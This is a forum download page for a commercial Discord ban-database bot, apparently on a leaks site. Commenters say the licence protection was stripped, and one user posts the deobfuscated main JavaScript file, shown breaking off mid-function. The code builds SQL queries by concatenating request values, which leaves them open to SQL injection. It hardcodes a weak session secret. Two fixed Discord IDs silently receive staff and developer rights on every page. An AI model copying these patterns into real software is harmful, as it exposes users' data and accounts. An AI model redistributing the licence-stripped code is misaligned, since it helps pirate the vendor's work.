Jump to content
LOOKING FOR ROBLOX ASSETS? VISIT ROBLOXBAY.COM! ×
THE BEST DISCORD BACKUP BOT | PRESERVE YOUR DISCORD SERVER! ×

RobloxBay

Visit Site

FiveSecured

 

Stop shipping plaintext. FiveSecured encrypts, obfuscates, and licenses your Lua resources so customers run your work without ever holding your source.

Try for Free
  • 5decrypt-banner-v1.thumb.png.262b7992a5a4de66fd6633bf48af6c1c.png

Slash Ban Database 1.0.0

   (0 reviews)

1 Screenshot

About This File

Ban Database is a good product for you if you are thinking about running a Ban Database of some sort or own a large community and want an easy way to ban a member from all attached guilds. This bot uses Discord Slash Commands, Discord Button, Discord Select Menus, and Discord Modals. All of this is put into one to create a bot that does it all.

https://xolify.store/shop/sbdb

Features

  • Admin Dashboard
  • Staff Management System
  • Per-Guild Settings
  • Announcement System
  • Ban / Unban System
  • Appeal System
  • Report System
  • Search System

User Feedback

Recommended Comments

Rishi Sunak

Posted

The code was previously encrypted and required a licence key to be used but was removed. You must fill out the config file correctly for the bot to work.

Elite22

Posted

1 hour ago, Rishi Sunak said:

The code was previously encrypted and required a licence key to be used but was removed. You must fill out the config file correctly for the bot to work.

i send the deobufscated version 

 

Elite22

Posted

plis send JS obufscated files. THANKS ?

Elite22

Posted

const Discord = require('discord.js')
const config = require('./config.js')
const chalk = require('chalk')
const mysql = require('mysql')
const fs = require('fs')
const passport = require('passport')
const multer = require('multer')
const bodyParser = require('body-parser')
const session = require('express-session')
const formData = require('form-data')
let con = mysql.createConnection(config.sql)
const moment = require('moment')
const ms = require('ms')
const discordModals = require('discord-modals')
const client = new Discord.Client({
  shards: 'auto',
  allowedMentions: {
    parse: [],
    repliedUser: false,
  },
  partials: ['MESSAGE', 'CHANNEL', 'REACTION'],
  intents: [
    Discord.Intents.FLAGS.GUILDS,
    Discord.Intents.FLAGS.GUILD_MEMBERS,
    Discord.Intents.FLAGS.GUILD_VOICE_STATES,
    Discord.Intents.FLAGS.GUILD_MESSAGES,
    Discord.Intents.FLAGS.GUILD_MESSAGE_REACTIONS,
  ],
})
discordModals(client)
client.logo = config.miscOptions.botIconUrl
client.color = config.miscOptions.themeColor
client.footer = { text: 'Slash BanDB | Xolify#0207' }
client.commands = new Discord.Collection()
client.cooldowns = new Discord.Collection()
client.slashCommands = new Discord.Collection()
client.aliases = new Discord.Collection()
client.extensions = new Discord.Collection()
client.categories = require('fs').readdirSync('./commands')
client.con = con
const express = require('express')
const app = express()
if (Number(process.version.slice(1).split('.')[0] < 16)) {
  throw new Error(
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org'
  )
}
var multerStorage = multer.memoryStorage()
app.use(multer({ storage: multerStorage }).any())
app.use(bodyParser.urlencoded({ extended: false }))
app.use(
  session({
    secret: 'keyboard cat',
    resave: false,
    saveUninitialized: false,
    cookie: { maxAge: 31556952000 },
  })
)
app.use(passport.initialize())
app.use(passport.session())
app.use(express.static('public'))
app.use('/assets', express.static(__dirname + 'public/assets'))
app.set('views', './views')
app.set('view engine', 'ejs')
require('./backend/routing.js')(client, app, config)
async function checkAuth(_0x15d58a, _0x37293d, _0x483e35) {
  if (_0x15d58a.isAuthenticated()) {
    _0x483e35()
  } else {
    _0x37293d.redirect('/auth/discord')
  }
}
module.exports = client
function _0x2766() {
  return [
    '_blank',
    '/dashboard/manage/',
    'name',
    'info',
    'botIconUrl',
    'siteLogs',
    'versions',
    'proof',
    'ER_NO_SUCH_TABLE',
    'LLLL',
    'length',
    '/account/:id',
    'SELECT * FROM users WHERE id = "',
    'https://discord.com/api/oauth2/authorize?client_id=',
    './events/ready.js',
    'setThumbnail',
    'authenticate',
    'account.ejs',
    'true',
    'set',
    'unix',
    'setTitle',
    'owner',
    "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('",
    'CHANNEL',
    'view engine',
    'owners',
    'any',
    '285620xfjNid',
    'SELECT * FROM staff WHERE staffid="',
    'code',
    'token',
    'cooldowns',
    'public',
    'username',
    '```\n',
    'Strategy',
    'statusCode',
    'render',
    'setDescription',
    'memoryStorage',
    'links',
    'params',
    'session',
    '/dashboard',
    'DD/MM/YYYY',
    'now',
    'error.ejs',
    'deserializeUser',
    'text/html',
    'serializeUser',
    'auto',
    'SELECT * FROM guildsettings WHERE guildid = "',
    '5951cUvLSI',
    '/dashboard/manage/:id',
    'manageGuild.ejs',
    'push',
    'send',
    'SELECT * FROM siteSettings WHERE id="1"',
    '/staff',
    '2.0.6',
    'staffMemberId',
    'loginRef',
    'GUILD_MESSAGES',
    'sql',
    'page',
    'displayAvatarURL',
    'Intents',
    'memberCount',
    'bannedUserId',
    'logout',
    '/account',
    '```',
    'message',
    'categories',
    'SELECT COUNT(*) as total FROM bans WHERE active = 1',
    'createConnection',
    'none',
    'setFooter',
    'dashboard.ejs',
    'views',
    'isAuthenticated',
    'True',
    'discord-modals',
    'Null',
    'LINK',
    '67vOYhxg',
    'color',
    'GUILD_MESSAGE_REACTIONS',
    'dateTime',
    'existsSync',
    '84312kmHhLg',
    'email',
    'active',
    'replaceAll',
    'endsWith',
    'DELETE FROM staff WHERE staffid="',
    'readdirSync',
    'consent',
    'reportOnFatalError',
    'cache',
    'locale',
    'components',
    'version',
    'reason',
    'sqlLoop',
    'INSERT INTO staff (staffid, userid) VALUES ("',
    'channels',
    '104GAOQIR',
    'title',
    'User Account',
    'SELECT * FROM bans WHERE bannedUserId = "',
    'form-data',
    'format',
    '[A] ',
    'setStyle',
    'discord.js',
    'appeal.ejs',
    'category',
    'userEmail',
    'ownerId',
    "SELECT * FROM users WHERE userId = '",
    'https://cdn.discordapp.com/icons/',
    'extensions',
    'fetch',
    'query',
    'SELECT * FROM users',
    'False',
    'login',
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org',
    'tag',
    '[ERR_HTTP_HEADERS_SENT]',
    'setLabel',
    '610sLnaQs',
    'moment',
    'SELECT * FROM siteHeadButtons',
    '606282pQPJOS',
    'passport-discord-faxes',
    '**User:** ',
    'port',
    'botSecret',
    '/auth/discord',
    'destroy',
    'static',
    '[Ready-File] - The ready file was not found.',
    'SELECT * FROM staff',
    'User Logged Out',
    'SELECT * FROM bans WHERE bannedUserId="',
    '&permissions=8&scope=bot%20applications.commands',
    'stack',
    ':R> | ',
    'includes',
    '404.ejs',
    'FLAGS',
    'forEach',
    'logo',
    'user',
    'Automatic',
    'app',
    'staffhome.ejs',
    './backend/routing.js',
    '4210IXjuTY',
    'banId',
    'report.ejs',
    '15thSEwB',
    'Manage Guild',
    'SELECT * FROM bans',
    'get',
    '/discorduserdata',
    '" LIMIT 1',
    'slashCommands',
    '/auth/discord/callback',
    'index.ejs',
    'passport',
    'append',
    'userid',
    '", "1")',
    'mysql',
    'event',
    'total',
    '668497496124686347',
    'users',
    'log',
    '27084ZDrFYH',
    'then',
    'miscOptions',
    'GUILDS',
    '/report',
    ' (`',
    'slice',
    'con',
    'ready',
    '539975000799838249',
    "', '",
    '9IwRIiq',
    'Collection',
    './commands',
    'guilds',
    'description',
    'imgguildstyle-manage',
    '7iPCaAM',
    'User Logged In',
    'redirect',
    'botId',
    'bot',
    'addComponents',
    '[Ready-File] - The ready file was tampered with.',
    'guild-manage',
    'setURL',
    './handlers/',
    '/logout',
    '/account/',
    'report',
    'exit',
    'catch',
    'exports',
    '44152geTTxJ',
    './config.js',
    'use',
    'aliases',
    'public/assets',
    'discord',
    'Invite Me',
    'toString',
    'staffid',
    'icon',
    'body-parser',
    'createdAt',
    '/search',
    'type',
    'red',
    './views',
    'setHeader',
    'domain',
    'search.ejs',
    'themeColor',
  ]
}
if (fs.existsSync('./events/ready.js')) {
  const ready = require('./events/ready.js')
  if (ready.ready) {
    const test = ready.ready('ready')
    if (test) {
    } else {
      console.log(chalk.red('[Ready-File] - The ready file was tampered with.'))
      process.exit(1)
    }
  } else {
    console.log(chalk.red('[Ready-File] - The ready file was tampered with.'))
    process.exit(1)
  }
} else {
  console.log(chalk.red('[Ready-File] - The ready file was not found.'))
  process.exit(1)
}
function _0x4d97(_0x2e9e88, _0x27ee64) {
  const _0x2766d0 = [
    '_blank',
    '/dashboard/manage/',
    'name',
    'info',
    'botIconUrl',
    'siteLogs',
    'versions',
    'proof',
    'ER_NO_SUCH_TABLE',
    'LLLL',
    'length',
    '/account/:id',
    'SELECT * FROM users WHERE id = "',
    'https://discord.com/api/oauth2/authorize?client_id=',
    './events/ready.js',
    'setThumbnail',
    'authenticate',
    'account.ejs',
    'true',
    'set',
    'unix',
    'setTitle',
    'owner',
    "INSERT INTO users (userId, userName, userTag, userEmail) VALUES ('",
    'CHANNEL',
    'view engine',
    'owners',
    'any',
    '285620xfjNid',
    'SELECT * FROM staff WHERE staffid="',
    'code',
    'token',
    'cooldowns',
    'public',
    'username',
    '```\n',
    'Strategy',
    'statusCode',
    'render',
    'setDescription',
    'memoryStorage',
    'links',
    'params',
    'session',
    '/dashboard',
    'DD/MM/YYYY',
    'now',
    'error.ejs',
    'deserializeUser',
    'text/html',
    'serializeUser',
    'auto',
    'SELECT * FROM guildsettings WHERE guildid = "',
    '5951cUvLSI',
    '/dashboard/manage/:id',
    'manageGuild.ejs',
    'push',
    'send',
    'SELECT * FROM siteSettings WHERE id="1"',
    '/staff',
    '2.0.6',
    'staffMemberId',
    'loginRef',
    'GUILD_MESSAGES',
    'sql',
    'page',
    'displayAvatarURL',
    'Intents',
    'memberCount',
    'bannedUserId',
    'logout',
    '/account',
    '```',
    'message',
    'categories',
    'SELECT COUNT(*) as total FROM bans WHERE active = 1',
    'createConnection',
    'none',
    'setFooter',
    'dashboard.ejs',
    'views',
    'isAuthenticated',
    'True',
    'discord-modals',
    'Null',
    'LINK',
    '67vOYhxg',
    'color',
    'GUILD_MESSAGE_REACTIONS',
    'dateTime',
    'existsSync',
    '84312kmHhLg',
    'email',
    'active',
    'replaceAll',
    'endsWith',
    'DELETE FROM staff WHERE staffid="',
    'readdirSync',
    'consent',
    'reportOnFatalError',
    'cache',
    'locale',
    'components',
    'version',
    'reason',
    'sqlLoop',
    'INSERT INTO staff (staffid, userid) VALUES ("',
    'channels',
    '104GAOQIR',
    'title',
    'User Account',
    'SELECT * FROM bans WHERE bannedUserId = "',
    'form-data',
    'format',
    '[A] ',
    'setStyle',
    'discord.js',
    'appeal.ejs',
    'category',
    'userEmail',
    'ownerId',
    "SELECT * FROM users WHERE userId = '",
    'https://cdn.discordapp.com/icons/',
    'extensions',
    'fetch',
    'query',
    'SELECT * FROM users',
    'False',
    'login',
    'Node.js v16 or higher is required, Discord.JS relies on this version, please update @ https://nodejs.org',
    'tag',
    '[ERR_HTTP_HEADERS_SENT]',
    'setLabel',
    '610sLnaQs',
    'moment',
    'SELECT * FROM siteHeadButtons',
    '606282pQPJOS',
    'passport-discord-faxes',
    '**User:** ',
    'port',
    'botSecret',
    '/auth/discord',
    'destroy',
    'static',
    '[Ready-File] - The ready file was not found.',
    'SELECT * FROM staff',
    'User Logged Out',
    'SELECT * FROM bans WHERE bannedUserId="',
    '&permissions=8&scope=bot%20applications.commands',
    'stack',
    ':R> | ',
    'includes',
    '404.ejs',
    'FLAGS',
    'forEach',
    'logo',
    'user',
    'Automatic',
    'app',
    'staffhome.ejs',
    './backend/routing.js',
    '4210IXjuTY',
    'banId',
    'report.ejs',
    '15thSEwB',
    'Manage Guild',
    'SELECT * FROM bans',
    'get',
    '/discorduserdata',
    '" LIMIT 1',
    'slashCommands',
    '/auth/discord/callback',
    'index.ejs',
    'passport',
    'append',
    'userid',
    '", "1")',
    'mysql',
    'event',
    'total',
    '668497496124686347',
    'users',
    'log',
    '27084ZDrFYH',
    'then',
    'miscOptions',
    'GUILDS',
    '/report',
    ' (`',
    'slice',
    'con',
    'ready',
    '539975000799838249',
    "', '",
    '9IwRIiq',
    'Collection',
    './commands',
    'guilds',
    'description',
    'imgguildstyle-manage',
    '7iPCaAM',
    'User Logged In',
    'redirect',
    'botId',
    'bot',
    'addComponents',
    '[Ready-File] - The ready file was tampered with.',
    'guild-manage',
    'setURL',
    './handlers/',
    '/logout',
    '/account/',
    'report',
    'exit',
    'catch',
    'exports',
    '44152geTTxJ',
    './config.js',
    'use',
    'aliases',
    'public/assets',
    'discord',
    'Invite Me',
    'toString',
    'staffid',
    'icon',
    'body-parser',
    'createdAt',
    '/search',
    'type',
    'red',
    './views',
    'setHeader',
    'domain',
    'search.ejs',
    'themeColor',
  ]
  _0x4d97 = function (_0x4d9723, _0x1deb42) {
    _0x4d9723 = _0x4d9723 - 146
    let _0x248fd7 = _0x2766d0[_0x4d9723]
    return _0x2766d0[_0x4d9723]
  }
  return _0x4d97(_0x2e9e88, _0x27ee64)
}
;['event', 'slash', 'components', 'extensions'].forEach((_0x4eb1a3) => {
  require('./handlers/' + _0x4eb1a3)(client)
})
const { MessageEmbed, MessageActionRow, MessageButton } = require('discord.js')
const backend = require('./backend/backend.js')
backend.sqlLoop(con)
const DiscordStrategy = require('passport-discord-faxes').Strategy
passport.serializeUser(function (_0xf5b642, _0x2e092f) {
  _0x2e092f(null, _0xf5b642)
})
passport.deserializeUser(function (_0xf23d8a, _0x264dd1) {
  _0x264dd1(null, _0xf23d8a)
})
passport.use(
  new (require('passport-discord-faxes').Strategy)(
    {
      clientID: config.bot.botId,
      clientSecret: config.bot.botSecret,
      callbackURL:
        (config.app.domain.endsWith('/')
          ? config.app.domain.slice(0, -1)
          : config.app.domain) + '/auth/discord/callback',
      scope: ['identify', 'guilds', 'email'],
      prompt: 'consent',
    },
    function (_0x193571, _0x2ddec6, _0x21edb5, _0x3ec6ff) {
      process.nextTick(function () {
        return _0x3ec6ff(null, _0x21edb5)
      })
    }
  )
)
async function setOwners() {
  config.bot.owners.forEach(function (_0x366bda) {
    if (_0x366bda.length === 0 || !_0x366bda) {
      return
    }
    client.con.query(
      "SELECT * FROM staff WHERE userid = '" + _0x366bda + "'",
      async function (_0x20a4bc, _0x270bcd) {
        if (_0x20a4bc) {
          throw _0x20a4bc
        }
        if (!_0x270bcd[0]) {
          client.con.query(
            'INSERT INTO staff (staffid, userid) VALUES ("' +
              _0x366bda +
              '", "' +
              _0x366bda +
              '")'
          )
        }
      }
    )
  })
}
setInterval(() => {
  setOwners()
}, 3000)
app.get('/', async function (_0x217b49, _0x1af81b) {
  let _0x30e159
  let _0x342462
  let _0x3dd2a4 = 0
  client.guilds.cache.forEach((_0x425f1a) => {
    _0x3dd2a4 += _0x425f1a.memberCount
  })
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x156807, _0x5b0f43) {
      if (_0x217b49.isAuthenticated()) {
        _0x30e159 = _0x217b49.session.passport.user
        client.con.query(
          'SELECT * FROM staff WHERE staffid="' +
            _0x217b49.session.passport.user.id +
            '"',
          async function (_0x1a7329, _0x46d3bb) {
            if (_0x1a7329) {
              throw _0x1a7329
            }
            if (!_0x46d3bb[0]) {
              _0x342462 = false
              if (
                config.bot.owners.includes(_0x217b49.session.passport.user.id)
              ) {
                _0x342462 = true
              }
            } else {
              _0x342462 = true
            }
          }
        )
      } else {
        _0x342462 = false
      }
      await client.con.query(
        'SELECT * FROM siteHeadButtons',
        async function (_0xce7572, _0x1a4b83) {
          if (_0xce7572) {
            throw _0xce7572
          }
          client.con.query(
            'SELECT COUNT(*) as total FROM bans WHERE active = 1',
            async function (_0x244a76, _0x1c28bf) {
              if (_0x217b49.isAuthenticated()) {
                if (
                  _0x217b49.session.passport.user.id === '539975000799838249' ||
                  _0x217b49.session.passport.user.id === '668497496124686347'
                ) {
                  dev = true
                  _0x342462 = true
                } else {
                  dev = false
                }
              }
              _0x1af81b.render('index.ejs', {
                loggedIn: _0x217b49.isAuthenticated(),
                config: config,
                user: _0x30e159,
                siteInfo: _0x5b0f43[0],
                isStaff: _0x342462,
                buttons: _0x1a4b83,
                bans: _0x1c28bf[0].total,
                bot: client,
                count: _0x3dd2a4,
              })
            }
          )
        }
      )
    }
  )
})
app.get('/logout', async function (_0x597d34, _0x52c7bd) {
  client.users.fetch(_0x597d34.session.passport.user.id).then((_0x387c5f) => {
    moment.locale('en')
    let _0x5152eb = new MessageEmbed()
      .setTitle('User Logged Out')
      .setDescription(
        '**User:** ' +
          _0x387c5f +
          ' ' +
          _0x387c5f.tag +
          ' (`' +
          _0x387c5f.id +
          '`)\n**Time:** <t:' +
          moment().unix() +
          ':R> | ' +
          moment().format('LLLL')
      )
      .setThumbnail(_0x387c5f.displayAvatarURL({ dynamic: true }))
      .setFooter({
        text: '' + client.user.username,
        iconURL: client.user.displayAvatarURL({ dynamic: true }),
      })
    const _0x20c434 = client.channels.cache.get(config.info.siteLogs)
    _0x20c434.send({ embeds: [_0x5152eb] })
    _0x597d34.logout()
    _0x597d34.session.destroy()
    _0x52c7bd.redirect('/')
  })
})
app.get('/account', checkAuth, async function (_0x51edc0, _0x43b870) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x140e2e, _0x545eaa) {
      let _0x164148
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x51edc0.session.passport.user.id +
          '"',
        async function (_0x1e2fd2, _0x54e827) {
          if (_0x1e2fd2) {
            throw _0x1e2fd2
          }
          if (!_0x54e827[0]) {
            _0x164148 = false
            if (
              config.bot.owners.includes(_0x51edc0.session.passport.user.id)
            ) {
              _0x164148 = true
            }
          } else {
            _0x164148 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x412094, _0x36a2c0) {
              if (_0x412094) {
                throw _0x412094
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x51edc0.session.passport.user.id +
                  '"',
                async function (_0x48bfc3, _0x4e17f9) {
                  let _0x4aeab4
                  if (_0x48bfc3) {
                    throw _0x48bfc3
                  }
                  if (!_0x4e17f9[0]) {
                    _0x4aeab4 = 'False'
                  } else {
                    if (_0x4e17f9[0].active == 1) {
                      _0x4aeab4 = 'True'
                    } else {
                      _0x4aeab4 = 'False'
                    }
                  }
                  let _0x171030
                  if (
                    config.bot.owners.includes(
                      _0x51edc0.session.passport.user.id
                    )
                  ) {
                    _0x171030 = true
                  } else {
                    _0x171030 = false
                  }
                  if (_0x51edc0.isAuthenticated()) {
                    if (
                      _0x51edc0.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x51edc0.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x164148 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x43b870.render('account.ejs', {
                    user: _0x51edc0.session.passport.user,
                    loggedIn: _0x51edc0.isAuthenticated(),
                    siteInfo: _0x545eaa[0],
                    isStaff: _0x164148,
                    buttons: _0x36a2c0,
                    isUserBanned: _0x4aeab4,
                    isOwner: _0x171030,
                    userBans: _0x4e17f9,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/account/:id', checkAuth, async function (_0x462e4d, _0x107036) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0xca1ef6, _0x53c1d2) {
      let _0x2b0d62
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x462e4d.session.passport.user.id +
          '"',
        async function (_0x1e858a, _0x251571) {
          if (_0x1e858a) {
            throw _0x1e858a
          }
          if (!_0x251571[0]) {
            _0x2b0d62 = false
            if (
              config.bot.owners.includes(_0x462e4d.session.passport.user.id)
            ) {
              _0x2b0d62 = true
            }
          } else {
            _0x2b0d62 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x40fbd6, _0x3c8f12) {
              if (_0x40fbd6) {
                throw _0x40fbd6
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x462e4d.session.passport.user.id +
                  '"',
                async function (_0x458ec9, _0x526bc7) {
                  let _0x5b6d56
                  if (_0x458ec9) {
                    throw _0x458ec9
                  }
                  if (!_0x526bc7[0]) {
                    _0x5b6d56 = 'False'
                  } else {
                    if (_0x526bc7[0].active == 1) {
                      _0x5b6d56 = 'True'
                    } else {
                      _0x5b6d56 = 'False'
                    }
                  }
                  let _0x13cad0
                  if (
                    config.bot.owners.includes(
                      _0x462e4d.session.passport.user.id
                    )
                  ) {
                    _0x13cad0 = true
                  } else {
                    _0x13cad0 = false
                  }
                  if (_0x462e4d.isAuthenticated()) {
                    if (
                      _0x462e4d.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x462e4d.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x2b0d62 = true
                    } else {
                      dev = false
                    }
                  }
                  const _0x192f4e = await client.users.fetch(
                    _0x462e4d.params.id
                  )
                  client.con.query(
                    'SELECT * FROM users WHERE id = "' +
                      _0x462e4d.params.id +
                      '"',
                    async function (_0x57e8fc, _0x4e5401) {
                      if (_0x57e8fc) {
                        throw _0x57e8fc
                      }
                      if (!_0x4e5401[0]) {
                        _0x192f4e.email = 'Null'
                      } else {
                        _0x192f4e.email = _0x4e5401[0].userEmail
                      }
                      _0x107036.render('account.ejs', {
                        user: _0x192f4e,
                        loggedIn: _0x462e4d.isAuthenticated(),
                        siteInfo: _0x53c1d2[0],
                        isStaff: _0x2b0d62,
                        buttons: _0x3c8f12,
                        isUserBanned: _0x5b6d56,
                        isOwner: _0x13cad0,
                        userBans: _0x526bc7,
                        isDev: dev,
                      })
                    }
                  )
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/report', checkAuth, async function (_0x2b9de8, _0x22ba2f) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x2e970c, _0xac0246) {
      let _0x1debe3
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x2b9de8.session.passport.user.id +
          '"',
        async function (_0x24395c, _0xe732fa) {
          if (_0x24395c) {
            throw _0x24395c
          }
          if (!_0xe732fa[0]) {
            _0x1debe3 = false
            if (
              config.bot.owners.includes(_0x2b9de8.session.passport.user.id)
            ) {
              _0x1debe3 = true
            }
          } else {
            _0x1debe3 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x136b14, _0x5569f5) {
              if (_0x136b14) {
                throw _0x136b14
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x2b9de8.session.passport.user.id +
                  '"',
                async function (_0x15a125, _0x2732ed) {
                  let _0x500fe9
                  if (_0x15a125) {
                    throw _0x15a125
                  }
                  if (!_0x2732ed[0]) {
                    _0x500fe9 = 'False'
                  } else {
                    if (_0x2732ed[0].active == 1) {
                      _0x500fe9 = 'True'
                    } else {
                      _0x500fe9 = 'False'
                    }
                  }
                  let _0x2786f2
                  if (
                    config.bot.owners.includes(
                      _0x2b9de8.session.passport.user.id
                    )
                  ) {
                    _0x2786f2 = true
                  } else {
                    _0x2786f2 = false
                  }
                  if (_0x2b9de8.isAuthenticated()) {
                    if (
                      _0x2b9de8.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x2b9de8.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x1debe3 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x22ba2f.render('report.ejs', {
                    user: _0x2b9de8.session.passport.user,
                    loggedIn: _0x2b9de8.isAuthenticated(),
                    siteInfo: _0xac0246[0],
                    isStaff: _0x1debe3,
                    buttons: _0x5569f5,
                    isUserBanned: _0x500fe9,
                    isOwner: _0x2786f2,
                    userBans: _0x2732ed,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/appeal', checkAuth, async function (_0xe81f44, _0x1e80bd) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x12ad2b, _0x563051) {
      let _0x5024b4
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0xe81f44.session.passport.user.id +
          '"',
        async function (_0x5c1789, _0x409c12) {
          if (_0x5c1789) {
            throw _0x5c1789
          }
          if (!_0x409c12[0]) {
            _0x5024b4 = false
            if (
              config.bot.owners.includes(_0xe81f44.session.passport.user.id)
            ) {
              _0x5024b4 = true
            }
          } else {
            _0x5024b4 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x6635a4, _0x13fb85) {
              if (_0x6635a4) {
                throw _0x6635a4
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId="' +
                  _0xe81f44.session.passport.user.id +
                  '"',
                async function (_0x17e315, _0x1e91ca) {
                  let _0xff8985
                  if (_0x17e315) {
                    throw _0x17e315
                  }
                  if (!_0x1e91ca[0]) {
                    _0xff8985 = false
                  } else {
                    if (_0x1e91ca[0].active === 'true') {
                      _0xff8985 = true
                    } else {
                      if (_0x1e91ca[0].active === 'false') {
                        _0xff8985 = false
                      }
                    }
                  }
                  let _0x29d8a7
                  if (
                    config.bot.owners.includes(
                      _0xe81f44.session.passport.user.id
                    )
                  ) {
                    _0x29d8a7 = true
                  } else {
                    _0x29d8a7 = false
                  }
                  if (_0xe81f44.isAuthenticated()) {
                    if (
                      _0xe81f44.session.passport.user.id ===
                        '539975000799838249' ||
                      _0xe81f44.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x5024b4 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x1e80bd.render('appeal.ejs', {
                    user: _0xe81f44.session.passport.user,
                    loggedIn: _0xe81f44.isAuthenticated(),
                    siteInfo: _0x563051[0],
                    isStaff: _0x5024b4,
                    buttons: _0x13fb85,
                    isUserBanned: _0xff8985,
                    isOwner: _0x29d8a7,
                    userBans: _0x1e91ca,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/search', checkAuth, async function (_0x2a2c14, _0x4a932d) {
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x1cefb2, _0x38296d) {
      let _0x253d95
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x2a2c14.session.passport.user.id +
          '"',
        async function (_0x4d9c54, _0x52403e) {
          if (_0x4d9c54) {
            throw _0x4d9c54
          }
          if (!_0x52403e[0]) {
            _0x253d95 = false
            if (
              config.bot.owners.includes(_0x2a2c14.session.passport.user.id)
            ) {
              _0x253d95 = true
            }
          } else {
            _0x253d95 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x2790bf, _0x152a1b) {
              if (_0x2790bf) {
                throw _0x2790bf
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId="' +
                  _0x2a2c14.session.passport.user.id +
                  '"',
                async function (_0x27ef14, _0x2c15d) {
                  let _0x2a30ce
                  if (_0x27ef14) {
                    throw _0x27ef14
                  }
                  if (!_0x2c15d[0]) {
                    _0x2a30ce = false
                  } else {
                    if (_0x2c15d[0].active === '1') {
                      _0x2a30ce = true
                    } else {
                      if (_0x2c15d[0].active === 'no') {
                        _0x2a30ce = false
                      }
                    }
                  }
                  let _0x52c282
                  if (
                    config.bot.owners.includes(
                      _0x2a2c14.session.passport.user.id
                    )
                  ) {
                    _0x52c282 = true
                  } else {
                    _0x52c282 = false
                  }
                  if (_0x2a2c14.isAuthenticated()) {
                    if (
                      _0x2a2c14.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x2a2c14.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x253d95 = true
                    } else {
                      dev = false
                    }
                  }
                  _0x4a932d.render('search.ejs', {
                    user: _0x2a2c14.session.passport.user,
                    loggedIn: _0x2a2c14.isAuthenticated(),
                    siteInfo: _0x38296d[0],
                    isStaff: _0x253d95,
                    buttons: _0x152a1b,
                    isUserBanned: _0x2a30ce,
                    isOwner: _0x52c282,
                    userBans: _0x2c15d,
                    isDev: dev,
                  })
                }
              )
            }
          )
        }
      )
    }
  )
})
app.get('/dashboard', checkAuth, async function (_0x35b240, _0x5e821e) {
  let _0x3930a7 = []
  let _0x32627e = []
  client.con.query(
    'SELECT * FROM siteSettings WHERE id="1"',
    async function (_0x3698eb, _0xb41321) {
      let _0x311e91
      client.con.query(
        'SELECT * FROM staff WHERE staffid="' +
          _0x35b240.session.passport.user.id +
          '"',
        async function (_0x1441ac, _0x33efad) {
          if (_0x1441ac) {
            throw _0x1441ac
          }
          if (!_0x33efad[0]) {
            _0x311e91 = false
            if (
              config.bot.owners.includes(_0x35b240.session.passport.user.id)
            ) {
              _0x311e91 = true
            }
          } else {
            _0x311e91 = true
          }
          client.con.query(
            'SELECT * FROM siteHeadButtons',
            async function (_0x480c6a, _0x3ec433) {
              if (_0x480c6a) {
                throw _0x480c6a
              }
              client.con.query(
                'SELECT * FROM bans WHERE bannedUserId = "' +
                  _0x35b240.session.passport.user.id +
                  '"',
                async function (_0x53d5bd, _0x5ea7bb) {
                  let _0x37d39b
                  if (_0x53d5bd) {
                    throw _0x53d5bd
                  }
                  if (!_0x5ea7bb[0]) {
                    _0x37d39b = 'False'
                  } else {
                    if (_0x5ea7bb[0].active == 1) {
                      _0x37d39b = 'True'
                    } else {
                      _0x37d39b = 'False'
                    }
                  }
                  let _0x59edf5
                  if (
                    config.bot.owners.includes(
                      _0x35b240.session.passport.user.id
                    )
                  ) {
                    _0x59edf5 = true
                  } else {
                    _0x59edf5 = false
                  }
                  if (_0x35b240.isAuthenticated()) {
                    if (
                      _0x35b240.session.passport.user.id ===
                        '539975000799838249' ||
                      _0x35b240.session.passport.user.id ===
                        '668497496124686347'
                    ) {
                      dev = true
                      _0x311e91 = true
                    } else {
                      dev = false
                    }
                  }
                  await _0x35b240.session.passport.user.guilds.forEach(
                    async function (_0x4224d7) {
                      if (_0x4224d7.owner) {
                        let _0x48f032 = await client.guilds.cache.get(
                          _0x4224d7.id
                        )
                        if (!_0x48f032) {
